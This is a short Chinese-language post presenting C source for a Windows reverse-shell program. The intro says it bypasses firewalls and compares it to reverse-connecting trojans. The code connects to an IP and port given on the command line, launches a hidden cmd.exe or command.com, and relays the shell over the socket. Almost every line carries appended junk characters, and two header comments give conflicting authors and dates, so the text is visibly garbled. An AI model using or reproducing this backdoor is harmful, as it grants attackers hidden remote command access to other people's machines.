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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zqt%x?l  
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/* ============================== z80(+ `   
Rebound port in Windows NT i@D4bd9lR  
By wind,2006/7 #?\(l%  
===============================*/ atd;)o0*0  
#include G3y8M |:  
#include o=!_.lDF:  
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#pragma comment(lib,"wsock32.lib") &=S:I!9;;  
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void OutputShell(); 1D)0\#><  
SOCKET sClient; H;<>uE Lie  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `z q+Xl  
du'`&{_/  
void main(int argc,char **argv)  /s^42  
{ &:ZR% f  
WSADATA stWsaData; 'aV'Am+:  
int nRet; MBjAe!,-  
SOCKADDR_IN stSaiClient,stSaiServer; K:XP;#OsP  
E_'H=QN c  
if(argc != 3) 7jxx,#I:  
{ AB3OG*C9  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8kcMgCO  
return; WZHw(BN{+  
} 8JQ\eF$ma  
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WSAStartup(MAKEWORD(2,2),&stWsaData); C6F7,v62  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <-' !I&  
{A< 961  
stSaiClient.sin_family = AF_INET; h|PC?@jp  
stSaiClient.sin_port = htons(0); SmDNN^GR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w\D !e  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6`6 / 2C$%  
{ NNr6~m)3v  
printf("Bind Socket Failed!\n"); i?b9zn  
return; iF +@aA  
} D/"velV  
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stSaiServer.sin_family = AF_INET; ?Bq^#i |m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8 3/WWL }  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w-R.)  
8oI|Z=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /;}%E  
{ JvvN>bg  
printf("Connect Error!"); 7BINqVS&  
return; =Yl ea,S  
} YL!{oHs4  
OutputShell(); rp"5176  
} Id`V`|q  
M:oM(K+  
void OutputShell() 6jBi?>[I  
{ o o'7  
char szBuff[1024]; <[ 2?~s  
SECURITY_ATTRIBUTES stSecurityAttributes; ZI1]B944ni  
OSVERSIONINFO stOsversionInfo; #C.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #Ff8_xhP2  
STARTUPINFO stStartupInfo; <%d!Sk4  
char *szShell; ?M|1'`!c8  
PROCESS_INFORMATION stProcessInformation; mj9sX^$ dE  
unsigned long lBytesRead; XC;Icr)  
k{vbi-^6rf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fx.Ly]L  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <b *sn] l  
stSecurityAttributes.lpSecurityDescriptor = 0; }@t" B9D  
stSecurityAttributes.bInheritHandle = TRUE; VoUo!t:(+  
k]$oir  
+ a nsN~3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -n[(0n3c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [[^95:  
c'3N;sZ*B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 45wtl/^9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ? _bFe![q  
stStartupInfo.wShowWindow = SW_HIDE; iSoQ1#MP)2  
stStartupInfo.hStdInput = hReadPipe; XKws_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u;t~ z  
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GetVersionEx(&stOsversionInfo); 573,b7Yf  
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switch(stOsversionInfo.dwPlatformId) >P@V D"U  
{ T^`; wD  
case 1: [PUu9rz#  
szShell = "command.com"; y9d"sqyh  
break; 3+uL@LXd  
default: GrJLQO0$N  
szShell = "cmd.exe"; &V~l(1  
break; g<;::'6  
} "OwVCym?  
#z%D d{E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :8oJG8WH  
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send(sClient,szMsg,77,0); NNbdP;=:u  
while(1) %aw.o*@:  
{ TvDC4tm-:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kD;pj3o&"2  
if(lBytesRead) g6lWc@]F  
{ 0mUVa=)D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &*7KQd  
send(sClient,szBuff,lBytesRead,0); $57b.+2n  
} p$|7T31 *  
else 6*>Lud  
{ TbNH{w|p  
lBytesRead=recv(sClient,szBuff,1024,0); p)iEwl}!j  
if(lBytesRead<=0) break; 0'Ho'wDb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); , p~1fB-/  
} J+E,UiZU  
} <nqv)g"u0  
h ':ZF  
return; lTq"j?#E]m  
}
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